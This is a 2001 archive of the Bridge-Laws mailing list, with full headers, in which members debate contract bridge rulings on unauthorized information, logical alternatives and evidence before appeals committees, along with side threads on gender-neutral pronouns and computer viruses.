(8.10.2/8.10.2) id f0A9tWP05837 for bridge-laws-outgoing; Wed, 10 Jan 2001 20:55:32 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from rhenium (rhenium.btinternet.com [194.73.73.93]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0A9tQt05833 for ; Wed, 10 Jan 2001 20:55:26 +1100 (EST) Received: from [62.7.28.94] (helo=pbncomputer) by rhenium with smtp (Exim 3.03 #83) id 14GHxX-0003q4-00 for bridge-laws@rgb.anu.edu.au; Wed, 10 Jan 2001 09:54:23 +0000 Message-ID: <003101c07aeb$54b623e0$5e1c073e@pbncomputer> From: "David Burn" To: References: <200101092349030800.0321272A@mail.earthlink.net> Subject: Re: [BLML] Bad Language Date: Wed, 10 Jan 2001 09:54:29 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Brian wrote: > >However, since that time, a consensus has developed > >amongst non-discriminatory grammarians on what the > >gender-neutral generic third person singular words should > >be. > > I wouldn't go that far. I favor the generic "they", myself, and I'm glad > it's gaining ground, but it's still some ways from a consensus. Certainly, the guidelines that a number of major British companies use to avoid sexist English suggest the use of "they" as a singular pronoun. It is a great deal easier to use an existing word in a new sense than to create a new word. > An additional alternative for the drafters that also avoids ambiguity is to > alternate "he" and "she" in some sensible way -- by law or by section, for > example. I am not in favour of language that deliberately draws attention to its own political correctness. It is possible, of course, to write English without using pronouns at all - merely repeat the noun for which the pronoun stands. This is inelegant, but it is both unambiguous and unostentatious. > Of course, by 2007, who knows what the most widely accepted format will be? It will be "they" and, of course, "their's". David Burn London, England -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 10 21:05:32 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0AA1QB05861 for bridge-laws-outgoing; Wed, 10 Jan 2001 21:01:26 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from sand6.global.net.uk (sand6.global.net.uk [195.147.246.105]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0AA1Jt05857 for ; Wed, 10 Jan 2001 21:01:21 +1100 (EST) Received: from pe7s12a07.client.global.net.uk ([195.147.236.232] helo=freenetname.co.uk) by sand6.global.net.uk with smtp (Exim 3.03 #1) id 14GI5M-0000li-00 for bridge-laws@rgb.anu.edu.au; Wed, 10 Jan 2001 10:02:28 +0000 MIME-Version: 1.0 From: Martin To: "BLaw" Date: Tue, 09 Jan 2001 20:25:59 +0000 (GMT) Subject: Re: [BLML] fix for the virus Message-ID: <4a3a52aa0bMartin@timberlands.co.uk> In-Reply-To: <000b01c07777$066d16c0$3d36ad0a@midsouth.rr.com> References: <000b01c07777$066d16c0$3d36ad0a@midsouth.rr.com> User-Agent: Pluto/2.01f (RISC-OS/4.03) Content-Type: text/plain Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Whilst I am not being smug about viruses the way to avoid most of them is to use a computer with a different operating system. RISC OS is used by Acorn computers & gives protection against all PC virus problems. A by product of using Acorns is the 25 to 50% increase in productivity & all for the same price as a PC. With an Acorn you could probably write more posts than DWS. -- Martin -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 10 21:14:47 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0AAAaw05879 for bridge-laws-outgoing; Wed, 10 Jan 2001 21:10:36 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from tungsten.btinternet.com (tungsten.btinternet.com [194.73.73.81]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0AAAUt05875 for ; Wed, 10 Jan 2001 21:10:31 +1100 (EST) Received: from [62.7.28.94] (helo=pbncomputer) by tungsten.btinternet.com with smtp (Exim 3.03 #83) id 14GID4-0003Xi-00 for bridge-laws@rgb.anu.edu.au; Wed, 10 Jan 2001 10:10:26 +0000 Message-ID: <004501c07aed$92bd6f20$5e1c073e@pbncomputer> From: "David Burn" To: References: <000e01c071b0$372617c0$0718073e@pbncomputer> <3PPHxaAmL8W6EwGd@blakjak.demon.co.uk> Subject: Re: [BLML] self-serving ? Date: Wed, 10 Jan 2001 10:10:30 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk DWS wrote: > >Not really. If that happened, then rulings would depend on the > >persuasiveness of the appellants and the gullibility of the director or > >appeals committee. This should not happen, which is why only statements > >that can be objectively corroborated should be admitted as evidence. If > >we have TDs deciding whether or not to accept statements at face value > >on the basis of no evidence, then we will have no hope of having the > >Laws administered with any kind of fairness or consistency. > > But this is not no evidence: the evidence is there, but you are saying > it is inadequate. I think some terminological confusion may have crept in. If a player says: "I would always bid X in situation Y with hand Z", this is not "evidence". It is testimony. If he can show that either: his system requires him to bid X; or in previous situations sufficiently close to Y with a hand sufficiently close to Z he has indeed bid X, then there is evidence to support his testimony. The confusion is understandable, for the word "evidence" is used in a legal sense to mean "anything that a witness says". But a witness in court has taken an oath to tell the truth - this is not required in an appeals committee. In simple terms, "evidence" is that which is evident, defined (by Chambers) as: that which can be seen, clear to the mind, obvious. A statement such as "I would always do X" is none of those things, unless it can be objectively substantiated. > Good TDs and ACs have always prided themselves on knowing what is > happening, and I would not like to see that disappear. No, I don't suppose you would. I, on the other hand, would like to see a situation in which the same ruling will be given regardless of whether the TD or the AC is "good" or not. This involves, among other things, the creation of a set of rules that can be applied by good and bad officials alike. One of those rules might very well be: a statement to the effect that a player has no logical alternative to X because of his method or because of his style should be ignored unless evidence can be produced to support it. David Burn London, England -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 10 22:19:48 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0ABGX820201 for bridge-laws-outgoing; Wed, 10 Jan 2001 22:16:33 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from hotmail.com (f123.law7.hotmail.com [216.33.237.123]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0ABGQt20165 for ; Wed, 10 Jan 2001 22:16:27 +1100 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 10 Jan 2001 03:16:19 -0800 Received: from 192.160.109.206 by lw7fd.law7.hotmail.msn.com with HTTP; Wed, 10 Jan 2001 11:16:19 GMT X-Originating-IP: [192.160.109.206] From: "Norman Scorbie" To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Bad Language Date: Wed, 10 Jan 2001 11:16:19 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 10 Jan 2001 11:16:19.0079 (UTC) FILETIME=[C1599170:01C07AF6] Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk >From: "David Burn" >To: >Subject: Re: [BLML] Bad Language >Date: Wed, 10 Jan 2001 09:54:29 -0000 > >Brian wrote: > > > >However, since that time, a consensus has developed > > >amongst non-discriminatory grammarians on what the > > >gender-neutral generic third person singular words should > > >be. > > > > I wouldn't go that far. I favor the generic "they", myself, and I'm >glad > > it's gaining ground, but it's still some ways from a consensus. > >Certainly, the guidelines that a number of major British companies use >to avoid sexist English suggest the use of "they" as a singular pronoun. >It is a great deal easier to use an existing word in a new sense than to >create a new word. > > > An additional alternative for the drafters that also avoids ambiguity >is to > > alternate "he" and "she" in some sensible way -- by law or by section, >for > > example. > >I am not in favour of language that deliberately draws attention to its >own political correctness. It is possible, of course, to write English >without using pronouns at all - merely repeat the noun for which the >pronoun stands. This is inelegant, but it is both unambiguous and >unostentatious. > > > Of course, by 2007, who knows what the most widely accepted format >will be? > >It will be "they" and, of course, "their's". > >David Burn >London, England > Thank you, Nostradamus. _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 10 22:19:48 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0ABFSS19819 for bridge-laws-outgoing; Wed, 10 Jan 2001 22:15:28 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from xion.spase.nl (router.spase.nl [213.53.246.249]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0ABFLt19778 for ; Wed, 10 Jan 2001 22:15:22 +1100 (EST) Received: by xion.spase.nl with Internet Mail Service (5.5.2650.21) id ; Wed, 10 Jan 2001 12:14:21 +0100 Message-ID: From: Martin Sinot To: BLaw Subject: RE: [BLML] fix for the virus Date: Wed, 10 Jan 2001 12:13:56 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk >Whilst I am not being smug about viruses the way to avoid most of them is >to use a computer with a different operating system. RISC OS is used by >Acorn computers & gives protection against all PC virus problems. A by >product of using Acorns is the 25 to 50% increase in productivity & all for >the same price as a PC. > >With an Acorn you could probably write more posts than DWS. > >-- >Martin Or an Alpha? :) Or even a PC running Linux? BTW, can you use your full name? My name happens to be Martin too... -- Martin Sinot Nijmegen martin@spase.nl -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 10 23:03:46 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0AC1a904330 for bridge-laws-outgoing; Wed, 10 Jan 2001 23:01:36 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from thorium.uunet.be (thorium.uunet.be [194.7.1.46]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0AC1Ot04268 for ; Wed, 10 Jan 2001 23:01:25 +1100 (EST) Received: from village.uunet.be (uu212-190-1-97.unknown.uunet.be [212.190.1.97]) by thorium.uunet.be (8.9.1/8.9.1) with ESMTP id NAA27382 for ; Wed, 10 Jan 2001 13:01:03 +0100 (CET) Message-ID: <3A5AFB56.7F9EEB53@village.uunet.be> Date: Tue, 09 Jan 2001 12:51:50 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] What is suggested ? References: <200101081956.OAA07647@cfa183.harvard.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Steve Willner wrote: > > > There are people on this list who think any action actually chosen > _becomes_ a LA. While I don't agree with them, the result is the > same. > > Look at it this way, Marv. Suppose your partner makes a slow penalty > double. You are short in trumps, and you would like to pull, and you > _would_ pull if the double hadn't been slow. But you decide that L73C > and 16A prohibit pulling the double, so you pass, and by good luck it > turns out to be the right decision. You get to keep your score, even > though you appear to have benefited from the UI. Your pass was not > "demonstrably suggested," etc. > > Similarly, if you take a non-logical alternative, and it works out > well, you keep your score _provided_ the action you chose was made > _less_ attractive by the UI than it would have been otherwise. There > has been no violation of either L16A or 73C, so there are no grounds > for a score adjustment. Imagine after the slow penalty double you are > void in trumps and have a solid, unbid 9-card suit. Nobody in the > known universe is passing, but you decide to pass, and by a miracle > this time (mere good luck is not enough!) it works out well. You still > keep your score. Your pass still was not "demonstrably suggested," > whether it was a LA or not. > > On the other hand, if the wild action was made _more_ attractive by the > UI (even though it still was a bad idea) and it happens to work, you > are getting an adjustment because L73C (and some say L16A) has been > violated. Take the same slow penalty double. You have a defensive > hand this time, and it would be normal to pass, highly abnormal to bid, > but you bid 7NT anyway -- a completely crazy action. But somehow it > comes home. (Maybe partner's double wasn't a good idea!) Now your > good score will be taken away. > -- The argument Steve uses has been suggested before. While 7NT is not a LA, it still cannot be selected. LA's can be defined as we want them. One LA is to pass, another is to bid. Since this second one is suggested, it is not allowed under L16. That actively prohibits every bid, even those that would be non-LA in themselves. The same applies always. If 6Sp and 6He are both LA, and UI suggests 6He, then you are not allowed to bid 7He, even if 7He would not be a LA in itself. -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 10 23:03:47 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0AC1aY04333 for bridge-laws-outgoing; Wed, 10 Jan 2001 23:01:36 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from thorium.uunet.be (thorium.uunet.be [194.7.1.46]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0AC1Ot04269 for ; Wed, 10 Jan 2001 23:01:25 +1100 (EST) Received: from village.uunet.be (uu212-190-1-97.unknown.uunet.be [212.190.1.97]) by thorium.uunet.be (8.9.1/8.9.1) with ESMTP id NAA27464 for ; Wed, 10 Jan 2001 13:01:16 +0100 (CET) Message-ID: <3A5AFBC2.F9A67DA2@village.uunet.be> Date: Tue, 09 Jan 2001 12:53:38 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] What is suggested ? References: <200101082040.MAA29361@mailhub.irvine.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk totally off-topic : Ed Reppert wrote: > > > Marv's example is fundamentally flawed. The actual law (Article II, > Section 3, of the US Constitution) says: > > No Person except a natural born Citizen, or a Citizen of the United > States, at the time of the Adoption of this Constitution, shall be > eligible to the Office of President; neither shall any Person be > eligible to that Office who shall not have attained to the Age of > thirty-five Years, and been fourteen Years a Resident within the > United States. > > So the law clearly prohibits the election of non-citizens. In fact, > it also prohibits the election of *naturalized* citizens. > Hasn't that changed recently ? -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 10 23:58:16 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0ACp4j16460 for bridge-laws-outgoing; Wed, 10 Jan 2001 23:51:04 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stmpy-2.cais.net (stmpy-2.cais.net [205.252.14.72]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0ACowt16456 for ; Wed, 10 Jan 2001 23:50:59 +1100 (EST) Received: from elandau.cais.com (207-176-64-97.dup.cais.net [207.176.64.97]) by stmpy-2.cais.net (8.11.1/8.11.1) with ESMTP id f0ACogf12666 for ; Wed, 10 Jan 2001 07:50:43 -0500 (EST) Message-Id: <4.3.2.7.1.20010110073656.00afabe0@127.0.0.1> X-Sender: elandau/pop.cais.com@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 10 Jan 2001 07:52:03 -0500 To: Bridge Laws Discussion List From: Eric Landau Subject: Re: Illicit information [was: Re: [BLML] What is suggested ?] In-Reply-To: References: <3.0.6.32.20010109103924.008124e0@pop.ulb.ac.be> <200101082201.OAA31270@mailhub.irvine.com> <3.0.6.32.20010109103924.008124e0@pop.ulb.ac.be> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 11:26 AM 1/9/01, Ed wrote: >Regarding 72A1, I think the point of the question was that there >seems to be nothing in the laws that specifically prohibits looking >at the hand record before the hand is played. Sure, "everybody knows" >that "you can't do that," but.. which law says so? Looking at the hand records should be covered by L16B, since the "as by" means that the specific sources of UI listed in the text are not exhaustive, but rather examples. But perhaps it isn't, since L16B explicitly covers only cases in which "a player accidentally receives unauthorized information...", and, arguably, does not cover UI gathered deliberately. By that argument, there's no law against peeking at opponents' hands either. I think we can implicitly assume that there is a fundamental notion of "correct procedure" which the laws don't explicitly state -- no one would seriously argue that deliberately clocking hands or hand records isn't cheating -- and leave the penalty provisions to L90. But perhaps the lawmakers should consider removing the word "accidentally" from L16B in the next round. I would call that a clarification of intent rather than a substantive change. Eric Landau elandau@cais.com APL Solutions, Inc. elandau@acm.org 1107 Dale Drive (301) 589-4621 Silver Spring MD 20910-1607 Fax (301) 589-4618 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 00:09:29 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0AD8Ni16487 for bridge-laws-outgoing; Thu, 11 Jan 2001 00:08:23 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stmpy-5.cais.net (stmpy-5.cais.net [205.252.14.75]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0AD8Ht16483 for ; Thu, 11 Jan 2001 00:08:17 +1100 (EST) Received: from elandau.cais.com (207-176-64-97.dup.cais.net [207.176.64.97]) by stmpy-5.cais.net (8.11.1/8.11.1) with ESMTP id f0AD7u450971 for ; Wed, 10 Jan 2001 08:07:56 -0500 (EST) Message-Id: <4.3.2.7.1.20010110080536.00afa6e0@127.0.0.1> X-Sender: elandau/pop.cais.com@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 10 Jan 2001 08:09:16 -0500 To: Bridge Laws Discussion List From: Eric Landau Subject: Re: [BLML] What is suggested ? In-Reply-To: <3A5AFBC2.F9A67DA2@village.uunet.be> References: <200101082040.MAA29361@mailhub.irvine.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 06:53 AM 1/9/01, Herman wrote: >Ed Reppert wrote: > > > > Marv's example is fundamentally flawed. The actual law (Article II, > > Section 3, of the US Constitution) says: > > > > No Person except a natural born Citizen, or a Citizen of the United > > States, at the time of the Adoption of this Constitution, shall be > > eligible to the Office of President; neither shall any Person be > > eligible to that Office who shall not have attained to the Age of > > thirty-five Years, and been fourteen Years a Resident within the > > United States. > > > > So the law clearly prohibits the election of non-citizens. In fact, > > it also prohibits the election of *naturalized* citizens. > >Hasn't that changed recently ? No. It would require amending the U.S. Constitution. The last time that happened was shortly after Clinton took office (forbidding pay raises for members of Congress to take effect prior to start of the next Congress). Eric Landau elandau@cais.com APL Solutions, Inc. elandau@acm.org 1107 Dale Drive (301) 589-4621 Silver Spring MD 20910-1607 Fax (301) 589-4618 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 00:57:40 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0ADsa017239 for bridge-laws-outgoing; Thu, 11 Jan 2001 00:54:36 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from guppy.vub.ac.be (guppy.vub.ac.be [134.184.129.2]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0ADsRt17235 for ; Thu, 11 Jan 2001 00:54:28 +1100 (EST) Received: from mach.vub.ac.be (mach.vub.ac.be [134.184.129.3]) by guppy.vub.ac.be (8.9.1b+Sun/3.17.0.ap (guppy)) id OAA25224; Wed, 10 Jan 2001 14:51:49 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id OAA12030; Wed, 10 Jan 2001 14:54:11 +0100 (MET) for Message-Id: <3.0.6.32.20010110150619.00816370@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Wed, 10 Jan 2001 15:06:19 +0100 To: Herman De Wael , Bridge Laws From: alain gottcheiner Subject: Re: [BLML] What is suggested ? In-Reply-To: <3A5AFB56.7F9EEB53@village.uunet.be> References: <200101081956.OAA07647@cfa183.harvard.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 12:51 9/01/01 +0100, Herman De Wael wrote: > >The argument Steve uses has been suggested before. > >While 7NT is not a LA, it still cannot be selected. > >LA's can be defined as we want them. > >One LA is to pass, another is to bid. > >Since this second one is suggested, it is not allowed under >L16. AG : your logic is wrong here, Herman. L16 says that, among logical alternatives (ie declarations that might be selected by a sane individual in this position and playing your system), you are not allowed to select one that becomes more attractive given the UI. As it has been shown by Eric Landau in this very thread, it does not speak of other alternatives (crazy bids). If it goes 1S - 2S - 3C - ...3S (silent opponents), you are not allowed to bid either 4S or 3NT or perhaps even 4C, because these logical alternatives seem better than without the tempo. Unless, of course, you have a gigantic hand and were on a slam hunt. Bidding 6H is *not* a logical alternative. And even if it were, it has not been suggested over pass. Of course, in the case of the 7NT bid, there are always items 74A2, 74C2 74B6 and 12A1. Globalizing all bids into one of the alternatives is your personal view, and nothing in TFLB supports this. If you can find some law that supports it, I would be glad to learn it, PBNFL. A. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 01:06:20 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0AE4Vf17263 for bridge-laws-outgoing; Thu, 11 Jan 2001 01:04:31 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from resu1.ulb.ac.be (resu1.ulb.ac.be [164.15.59.200]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0AE4Ot17259 for ; Thu, 11 Jan 2001 01:04:25 +1100 (EST) Received: from mach.vub.ac.be (mach.ulb.ac.be [164.15.128.3]) by resu1.ulb.ac.be (8.8.8/3.17.0.ap (resu)) id PAA13753; Wed, 10 Jan 2001 15:00:08 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id PAA19016; Wed, 10 Jan 2001 15:04:10 +0100 (MET) for Message-Id: <3.0.6.32.20010110151618.008136a0@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Wed, 10 Jan 2001 15:16:18 +0100 To: bridge-laws@rgb.anu.edu.au From: alain gottcheiner Subject: [BLML] horror ! (new) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Dear blmlists, While fumbling for a Law that could apply to another of our threads, I found an incredible error in the wording of the law. Unfortunately, I own only the French version, so the translation is mine. Perhaps the error doen't lie in the original, English version. L73B2 : occult cmmunication : The worse infraction is for a pair to exchange information using occult communication means other than those permitted by the Laws. Taken litterally, this means that the Laws allow us some occult communication means, only the others being disallowed. This is outrageous ! Since we already think about the next version of TFLB, couldn't we suggest some other way of expressing it ? (at least in the French version) Alain. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 01:23:30 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0AEM7R21001 for bridge-laws-outgoing; Thu, 11 Jan 2001 01:22:08 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from hera.frw.uva.nl (HERA.frw.uva.nl [145.18.122.36]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0AEM1t20997 for ; Thu, 11 Jan 2001 01:22:01 +1100 (EST) Received: from jppals (DHCP-ivip-124.frw.uva.nl [145.18.125.124]) by hera.frw.uva.nl (8.9.1a/8.9.1) with SMTP id PAA01217; Wed, 10 Jan 2001 15:21:47 +0100 (MET) X-Organisation: Faculty of Environmental Sciences University of Amsterdam Nieuwe Prinsengracht 130 NL-1018 VZ Amsterdam X-Phone: +31 20 525 5820 X-Fax: +31 20 525 5822 From: "J.P.Pals" To: "alain gottcheiner" Cc: "Bridge Laws Mailing List" Subject: RE: [BLML] horror ! (new) Date: Wed, 10 Jan 2001 15:20:39 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: <3.0.6.32.20010110151618.008136a0@pop.ulb.ac.be> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300 Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk AG wrote: > Dear blmlists, > > While fumbling for a Law that could apply to another of our threads, I > found an incredible error in the wording of the law. > > Unfortunately, I own only the French version, so the translation is mine. > Perhaps the error doen't lie in the original, English version. > > L73B2 : occult cmmunication : The worse infraction is for a pair to > exchange information using occult communication means other than those > permitted by the Laws. The original text is: ".... exchange information through prearranged methods of communication other than those sanctioned by these Laws. A guilty partnership risks expulsion." So forget Satan.... Cheers, JP -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 01:35:01 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0AEXlW21030 for bridge-laws-outgoing; Thu, 11 Jan 2001 01:33:47 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stargate.agro.nl (cpc.agro.nl [145.12.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0AEXet21025 for ; Thu, 11 Jan 2001 01:33:41 +1100 (EST) Received: by stargate.agro.nl; (8.8.8/1.3/10May95) id PAA20939; Wed, 10 Jan 2001 15:33:27 +0100 (MET) Received: FROM mgate.nic.agro.nl BY agro009s.nic.agro.nl ; Wed Jan 10 15:36:01 2001 +0100 Received: from agro005s.nic.agro.nl (agro005s.nic.agro.nl [145.12.5.35]) by AGRO.NL (PMDF V6.0-24 #46444) with ESMTP id <01JYQWQKMPR0002386@AGRO.NL>; Wed, 10 Jan 2001 15:32:23 +0200 Received: by agro005s.nic.agro.nl with Internet Mail Service (5.5.2650.21) id ; Wed, 10 Jan 2001 15:28:02 +0100 Content-return: allowed Date: Wed, 10 Jan 2001 15:32:22 +0100 From: "Kooijman, A." Subject: RE: [BLML] horror ! (new) To: "'alain gottcheiner'" , bridge-laws@rgb.anu.edu.au Message-id: <67378DEA146DD21194C20000F87B08BA01B8B768@fdwag002s.fd.agro.nl> MIME-version: 